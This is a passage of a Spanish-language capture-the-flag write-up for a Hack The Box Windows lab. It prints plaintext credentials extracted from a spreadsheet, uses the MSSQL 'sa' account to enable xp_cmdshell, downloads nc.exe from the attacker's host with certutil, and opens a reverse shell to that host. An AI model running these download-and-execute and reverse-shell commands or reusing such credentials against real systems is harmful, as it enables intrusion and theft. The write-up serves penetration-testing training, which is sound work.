&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;kevin@sequel.htb&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;kevin&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Md9Wlq1E5bZnVDVo&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;NULL&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;sa@sequel.htb&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;sa&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;MSSQLP@ssw0rd!&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/sst&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Credenciales extraídas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;angela@sequel.htb:0fwz7Q4mSpurIt99&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;oscar@sequel.htb:86LxLBMgEWaKUnBG&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kevin@sequel.htb:Md9Wlq1E5bZnVDVo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sa@sequel.htb:MSSQLP@ssw0rd!&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Validé credenciales de Oscar:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-80f2-b3ea-d22198004f63.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Y también las de &lt;code&gt;sa&lt;/code&gt; (administrador del servicio MSSQL):&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8005-b830-c63556d09578.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="acceso-a-mssql-y-ejecución-de-comandos"&gt;Acceso a MSSQL y ejecución de comandos&lt;/h3&gt;
&lt;p&gt;Me conecté a MSSQL con &lt;code&gt;impacket-mssqlclient&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;impacket-mssqlclient sequel.htb/'sa:MSSQLP@ssw0rd!'@10.129.69.156&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Habilité &lt;code&gt;xp_cmdshell&lt;/code&gt; para poder ejecutar comandos:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8033-a761-c700df5231b3.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Pasé un &lt;code&gt;nc.exe&lt;/code&gt; para lanzar una reverse shell.&lt;/p&gt;
&lt;p&gt;Servidor HTTP en mi máquina:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(kali&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/usr/share/windows-resources/binaries]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;$ python3 -m http.server &lt;span style="color:#ae81ff"&gt;4000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Serving HTTP on &lt;span style="color:#ae81ff"&gt;0.0&lt;/span&gt;.0.0 port &lt;span style="color:#ae81ff"&gt;4000&lt;/span&gt; (http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;0.0&lt;/span&gt;.0.&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4000&lt;/span&gt;/) ...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 - - [&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;/Jan/&lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;13&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;] &lt;span style="color:#e6db74"&gt;&amp;#34;GET /nc.exe HTTP/1.1&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt; -
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 - - [&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;/Jan/&lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;13&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;] &lt;span style="color:#e6db74"&gt;&amp;#34;GET /nc.exe HTTP/1.1&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt; -
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---------------------------------------------------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---------------------------------------------------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---------------------------------------------------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---------------------------------------------------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SQL (sa dbo@master)&amp;gt; EXEC xp_cmdshell &lt;span style="color:#e6db74"&gt;&amp;#39;certutil -urlcache -split -f http://10.10.15.44:4000/nc.exe C:\Users\sql_svc\Desktop\nc64.exe&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;output
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CertUtil&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; -URLCache command completed successfully.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NULL
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ejecuté &lt;code&gt;enable_xp_cmdshell&lt;/code&gt; y luego lancé la shell:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SQL (sa dbo@master)&amp;gt; enable_xp_cmdshell
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INFO(DC01\SQLEXPRESS)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Line &lt;span style="color:#ae81ff"&gt;185&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;Configuration&lt;/span&gt; option &lt;span style="color:#e6db74"&gt;&amp;#39;show advanced options&amp;#39;&lt;/span&gt; changed from &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; to &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;. Run the RECONFIGURE statement to install.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INFO(DC01\SQLEXPRESS)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Line &lt;span style="color:#ae81ff"&gt;185&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;Configuration&lt;/span&gt; option &lt;span style="color:#e6db74"&gt;&amp;#39;xp_cmdshell&amp;#39;&lt;/span&gt; changed from &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; to &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;. Run the RECONFIGURE statement to install.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SQL (sa dbo@master)&amp;gt; EXEC xp_cmdshell &lt;span style="color:#e6db74"&gt;&amp;#39;C:\Users\sql_svc\Desktop\nc64.exe 10.10.15.44 4444 -e powershell&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Shell recibida:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8064-8289-d9cad94b743a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Dentro de la máquina vi que la flag no estaba en el directorio de &lt;code&gt;sql_svc&lt;/code&gt;, y que había otro usuario llamado &lt;strong&gt;ryan&lt;/strong&gt;, así que necesitaba pivotar.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="búsqueda-de-credenciales-en-la-máquina-pivot-a-ryan"&gt;Búsqueda de credenciales en la máquina (pivot a ryan)&lt;/h3&gt;
&lt;p&gt;Busqué ficheros que contuvieran credenciales. En la ruta de instalación de SQL encontré un fichero de configuración con passwords:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PS C:\&amp;gt; dir
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Directory&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; C:\
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Mode LastWriteTime Length Name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---- ------------- ------ ----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d----- &lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2022&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;03&lt;/span&gt; PM PerfLogs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d-r--- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; AM Program Files
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d----- &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;37&lt;/span&gt; AM Program Files (x86)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d----- &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;07&lt;/span&gt; PM SQL2019
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d-r--- &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;42&lt;/span&gt; AM Users
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d----- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; AM Windows
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PS C:\&amp;gt; cd SQL2019
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PS C:\SQL2019&amp;gt; dir
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Directory&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; C:\SQL2019
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Mode LastWriteTime Length Name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---- ------------- ------ ----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d----- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;29&lt;/span&gt; AM ExpressAdv_ENU
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PS C:\SQL2019&amp;gt; cd ExpressAdv_ENU
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PS C:\SQL2019\ExpressAdv_ENU&amp;gt; dir
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Directory&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; C:\SQL2019\ExpressAdv_ENU
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Mode LastWriteTime Length Name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---- ------------- ------ ----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d----- &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;07&lt;/span&gt; PM 1033_ENU_LP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d----- &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;07&lt;/span&gt; PM redist
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d----- &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;07&lt;/span&gt; PM resources
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d----- &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;07&lt;/span&gt; PM x64
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-a---- &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;03&lt;/span&gt; PM &lt;span style="color:#ae81ff"&gt;45&lt;/span&gt; AUTORUN.INF
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-a---- &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;03&lt;/span&gt; PM &lt;span style="color:#ae81ff"&gt;788&lt;/span&gt; MEDIAINFO.XML
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-a---- &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;07&lt;/span&gt; PM &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt; PackageId.dat
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-a---- &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;03&lt;/span&gt; PM &lt;span style="color:#ae81ff"&gt;142944&lt;/span&gt; SETUP.EXE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-a---- &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;03&lt;/span&gt; PM &lt;span style="color:#ae81ff"&gt;486&lt;/span&gt; SETUP.EXE.CONFIG
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-a---- &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;07&lt;/span&gt; PM &lt;span style="color:#ae81ff"&gt;717&lt;/span&gt; sql-Configuration.INI
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-a---- &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;03&lt;/span&gt; PM &lt;span style="color:#ae81ff"&gt;249448&lt;/span&gt; SQLSETUPBOOTSTRAPPER.DLL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PS C:\SQL2019\ExpressAdv_ENU&amp;gt; type sql-Configuration.INI
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;OPTIONS&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ACTION=&lt;span style="color:#e6db74"&gt;&amp;#34;Install&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;QUIET=&lt;span style="color:#e6db74"&gt;&amp;#34;True&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;FEATURES=SQL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INSTANCENAME=&lt;span style="color:#e6db74"&gt;&amp;#34;SQLEXPRESS&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INSTANCEID=&lt;span style="color:#e6db74"&gt;&amp;#34;SQLEXPRESS&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;RSSVCACCOUNT=&lt;span style="color:#e6db74"&gt;&amp;#34;NT Service\ReportServer&lt;/span&gt;$SQLEXPRESS&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;AGTSVCACCOUNT=&lt;span style="color:#e6db74"&gt;&amp;#34;NT AUTHORITY\NETWORK SERVICE&amp;#34;&lt;/span&gt;
